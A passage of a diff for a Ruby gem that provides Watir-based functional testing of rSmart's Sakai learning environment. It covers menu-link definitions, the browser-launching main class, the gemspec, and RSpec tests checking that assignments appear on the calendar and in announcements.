+
|
183
|
+
# SiteSetup class.
|
184
|
+
menu_link :site_setup, :text=>"Site Setup"
|
185
|
+
|
186
|
+
menu_link :site_statistics, :text=>"Site Statistics"
|
187
|
+
|
188
|
+
# Sites class.
|
189
|
+
menu_link :sites, :class=>"icon-sakai-sites"
|
190
|
+
|
191
|
+
menu_link :skin_manager, :text=>"Skin Manager"
|
192
|
+
menu_link :super_user, :text=>"Super User"
|
193
|
+
|
194
|
+
# Styles
|
195
|
+
menu_link :styles, :text=>"Styles"
|
196
|
+
|
197
|
+
# Syllabus class.
|
198
|
+
menu_link :syllabus, :text=>"Syllabus"
|
199
|
+
|
200
|
+
# AssessmentsList class OR the TakeAssessmentList for students
|
201
|
+
menu_link :assessments, :class=>"icon-sakai-samigo"
|
202
|
+
|
203
|
+
# UserMembership
|
204
|
+
menu_link :user_membership, :class=>"icon-sakai-usermembership"
|
205
|
+
|
206
|
+
# Users
|
207
|
+
menu_link :users, :class=>"icon-sakai-users"
|
208
|
+
|
209
|
+
# WebContent
|
210
|
+
menu_link :web_content, :class=>"icon-sakai-iframe"
|
211
|
+
|
212
|
+
# Wikis
|
213
|
+
menu_link :wiki, :class=>"icon-sakai-rwiki"
|
214
|
+
|
215
|
+
# The Page Reset button, found on all Site pages
|
216
|
+
menu_link :reset, :href=>/tool-reset/
|
217
|
+
|
218
|
+
# Login class.
|
219
|
+
menu_link :logout, :text=>"Logout"
|
220
|
+
alias :log_out :logout
|
221
|
+
alias :sign_out :logout
|
222
|
+
|
223
|
+
end
|
data/lib/sambal-cle.rb
ADDED
@@ -0,0 +1,31 @@
|
|
1
|
+
require 'cgi'
|
2
|
+
require 'watir-webdriver'
|
3
|
+
require 'sambal-cle/page_maker.rb'
|
4
|
+
Dir["#{File.dirname(__FILE__)}/sambal-cle/*.rb"].each {|f| require f }
|
5
|
+
Dir["#{File.dirname(__FILE__)}/sambal-cle/page_objects/*.rb"].each {|f| require f }
|
6
|
+
Dir["#{File.dirname(__FILE__)}/sambal-cle/data_objects/*.rb"].each {|f| require f }
|
7
|
+
|
8
|
+
# Initialize this class at the start of your test cases to
|
9
|
+
# open the specified test browser at the specified Sakai welcome page URL.
|
10
|
+
#
|
11
|
+
# The initialization will return the LoginPage class object as well as
|
12
|
+
# create the @browser variable used throughout the page classes
|
13
|
+
class SakaiCLE
|
14
|
+
|
15
|
+
#include PageObject
|
16
|
+
#include ToolsMenu
|
17
|
+
|
18
|
+
attr_reader :browser
|
19
|
+
|
20
|
+
def initialize(web_browser, url)
|
21
|
+
@browser = Watir::Browser.new web_browser
|
22
|
+
@browser.window.resize_to(1400,900)
|
23
|
+
@browser.goto url
|
24
|
+
end
|
25
|
+
|
26
|
+
# Returns the class containing the welcome page's page elements.
|
27
|
+
def page
|
28
|
+
Login.new @browser
|
29
|
+
end
|
30
|
+
|
31
|
+
end
|
data/sambal-cle.gemspec
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
spec = Gem::Specification.new do |s|
|
2
|
+
s.name = 'sambal-cle'
|
3
|
+
s.version = '0.1.3'
|
4
|
+
s.summary = %q{Sakai-CLE functional testing API for the rSmart Collaborative Learning Environment}
|
5
|
+
s.description = %q{The Sambal-CLE gem provides an API for interacting with pages and page elements in rSmart's deployment of the Sakai Collaborative Learning Environment.}
|
6
|
+
s.files = Dir.glob("**/**/**")
|
7
|
+
s.test_files = Dir.glob("test/*test_rb")
|
8
|
+
s.authors = ["Abraham Heward"]
|
9
|
+
s.email = %w{"aheward@rsmart.com"}
|
10
|
+
s.homepage = 'https://github.com/rSmart/sambal-cle'
|
11
|
+
s.add_dependency 'watir-webdriver', '>= 0.5.5'
|
12
|
+
s.add_dependency 'selenium-webdriver', '>= 2.21.2'
|
13
|
+
s.required_ruby_version = '>= 1.9.2'
|
14
|
+
end
|
@@ -0,0 +1,86 @@
|
|
1
|
+
require 'rspec'
|
2
|
+
require 'sambal-cle'
|
3
|
+
require 'yaml'
|
4
|
+
|
5
|
+
describe "Assignment Due Date on Calendar" do
|
6
|
+
|
7
|
+
include Utilities
|
8
|
+
include Workflows
|
9
|
+
include PageHelper
|
10
|
+
include Randomizers
|
11
|
+
include DateMakers
|
12
|
+
|
13
|
+
before :all do
|
14
|
+
|
15
|
+
# Get the test configuration data
|
16
|
+
@config = YAML.load_file("config.yml")
|
17
|
+
@directory = YAML.load_file("directory.yml")
|
18
|
+
@sakai = SakaiCLE.new(@config['browser'], @config['url'])
|
19
|
+
@browser = @sakai.browser
|
20
|
+
|
21
|
+
@student = @directory['person1']['id']
|
22
|
+
@spassword = @directory['person1']['password']
|
23
|
+
@instructor1 = @directory['person3']['id']
|
24
|
+
@ipassword = @directory['person3']['password']
|
25
|
+
|
26
|
+
@instructor2 = @directory['person4']['id']
|
27
|
+
@password1 = @directory['person4']['password']
|
28
|
+
|
29
|
+
@sakai.page.login(@instructor1, @ipassword)
|
30
|
+
|
31
|
+
@site = make SiteObject
|
32
|
+
@site.create
|
33
|
+
|
34
|
+
@site.add_official_participants :role=>"Student", :participants=>[@student]
|
35
|
+
@site.add_official_participants :role=>"Instructor", :participants=>[@instructor2]
|
36
|
+
|
37
|
+
@assignment1 = make AssignmentObject, :site=>@site.name, :title=>random_string, :grade_scale=>"Letter grade", :instructions=>random_multiline(500, 10, :string), :open=>minutes_ago(5)
|
38
|
+
@assignment2 = make AssignmentObject, :allow_resubmission=>:set, :add_due_date=>:set, :site=>@site.name, :title=>random_nicelink(15), :open=>hours_ago(5), :student_submissions=>"Inline only", :grade_scale=>"Letter grade", :instructions=>random_multiline(750, 13, :string)
|
39
|
+
|
40
|
+
@assignment1.create
|
41
|
+
@assignment2.create
|
42
|
+
|
43
|
+
end
|
44
|
+
|
45
|
+
after :all do
|
46
|
+
# Close the browser window
|
47
|
+
@sakai.browser.close
|
48
|
+
end
|
49
|
+
|
50
|
+
it "When 'add due date to schedule' not checked, Assignment does not appear on the Calendar" do
|
51
|
+
calendar
|
52
|
+
|
53
|
+
on Calendar do |calendar|
|
54
|
+
# List events on the expected due date for Assignment 2
|
55
|
+
calendar.view.select "List of Events"
|
56
|
+
calendar.show_events.select "Custom date range"
|
57
|
+
calendar.start_month.select @assignment1.due[:MON]
|
58
|
+
calendar.start_day.select @assignment1.due[:day_of_month]
|
59
|
+
calendar.start_year.select @assignment1.due[:year]
|
60
|
+
calendar.end_month.select @assignment1.due[:MON]
|
61
|
+
calendar.end_day.select @assignment1.due[:day_of_month]
|
62
|
+
calendar.end_year.select @assignment1.due[:year]
|
63
|
+
calendar.filter_events
|
64
|
+
|
65
|
+
calendar.events_list.should_not include "Due #{@assignment1.title}"
|
66
|
+
end
|
67
|
+
end
|
68
|
+
|
69
|
+
it "When 'add due date to schedule' is checked, Assignment appears on the Calendar" do
|
70
|
+
on Calendar do |calendar|
|
71
|
+
calendar.start_month.select @assignment2.due[:MON]
|
72
|
+
calendar.start_day.select @assignment2.due[:day_of_month]
|
73
|
+
calendar.start_year.select @assignment2.due[:year]
|
74
|
+
calendar.end_month.select @assignment2.due[:MON]
|
75
|
+
calendar.end_day.select @assignment2.due[:day_of_month]
|
76
|
+
calendar.end_year.select @assignment2.due[:year]
|
77
|
+
calendar.filter_events
|
78
|
+
|
79
|
+
calendar.events_list.should include "Due #{@assignment2.title}"
|
80
|
+
|
81
|
+
end
|
82
|
+
end
|
83
|
+
|
84
|
+
# TODO: Add tests for student and other instructor being able to see the assignment in the calendar
|
85
|
+
|
86
|
+
end
|
@@ -0,0 +1,71 @@
|
|
1
|
+
require 'rspec'
|
2
|
+
require 'sambal-cle'
|
3
|
+
require 'yaml'
|
4
|
+
|
5
|
+
describe "Assignments appearing in Announcements" do
|
6
|
+
|
7
|
+
include Utilities
|
8
|
+
include Workflows
|
9
|
+
include PageHelper
|
10
|
+
include Randomizers
|
11
|
+
include DateMakers
|
12
|
+
|
13
|
+
before :all do
|
14
|
+
|
15
|
+
# Get the test configuration data
|
16
|
+
@config = YAML.load_file("config.yml")
|
17
|
+
@directory = YAML.load_file("directory.yml")
|
18
|
+
@sakai = SakaiCLE.new(@config['browser'], @config['url'])
|
19
|
+
@browser = @sakai.browser
|
20
|
+
|
21
|
+
@student = @directory['person1']['id']
|
22
|
+
@spassword = @directory['person1']['password']
|
23
|
+
@instructor1 = @directory['person3']['id']
|
24
|
+
@ipassword = @directory['person3']['password']
|
25
|
+
|
26
|
+
@instructor2 = @directory['person4']['id']
|
27
|
+
@password1 = @directory['person4']['password']
|
28
|
+
|
29
|
+
@sakai.page.login(@instructor1, @ipassword)
|
30
|
+
|
31
|
+
@site = make SiteObject
|
32
|
+
@site.create
|
33
|
+
|
34
|
+
@site.add_official_participants :role=>"Student", :participants=>[@student]
|
35
|
+
@site.add_official_participants :role=>"Instructor", :participants=>[@instructor2]
|
36
|
+
|
37
|
+
@assignment1 = make AssignmentObject, :status=>"Draft", :add_open_announcement=>:set, :site=>@site.name, :title=>random_xss_string(30), :open=>in_an_hour, :student_submissions=>"Attachments only", :grade_scale=>"Points", :max_points=>"100", :instructions=>random_multiline(600, 12, :string)
|
38
|
+
@assignment2 = make AssignmentObject, :site=>@site.name, :add_open_announcement=>:set, :open=>an_hour_ago
|
39
|
+
@assignment1.create
|
40
|
+
@assignment2.create
|
41
|
+
|
42
|
+
end
|
43
|
+
|
44
|
+
after :all do
|
45
|
+
# Close the browser window
|
46
|
+
@sakai.browser.close
|
47
|
+
end
|
48
|
+
|
49
|
+
it "Assignments in Draft status do not appear in Announcements" do
|
50
|
+
home
|
51
|
+
|
52
|
+
on Home do |home|
|
53
|
+
home.announcements_list.should_not include("Assignment: Open Date for '#{@assignment1.title}'")
|
54
|
+
end
|
55
|
+
end
|
56
|
+
|
57
|
+
it "Open assignments do appear in Announcements" do
|
58
|
+
on Home do |home|
|
59
|
+
home.announcements_list.should include("Assignment: Open Date for '#{@assignment2.title}'")
|
60
|
+
end
|
61
|
+
end
|
62
|
+
|
63
|
+
it "Changing assignment from Draft to open will display assignment in Announcements" do
|
64
|
+
@assignment1.edit :status=>"Open"
|
65
|
+
home
|
66
|
+
on Home do |home|
|
67
|
+
home.announcements_list.should include("Assignment: Open Date for '#{@assignment1.title}'")
|
68
|
+
end
|
69
|
+
end
|
70
|
+
|
71
|
+
end
|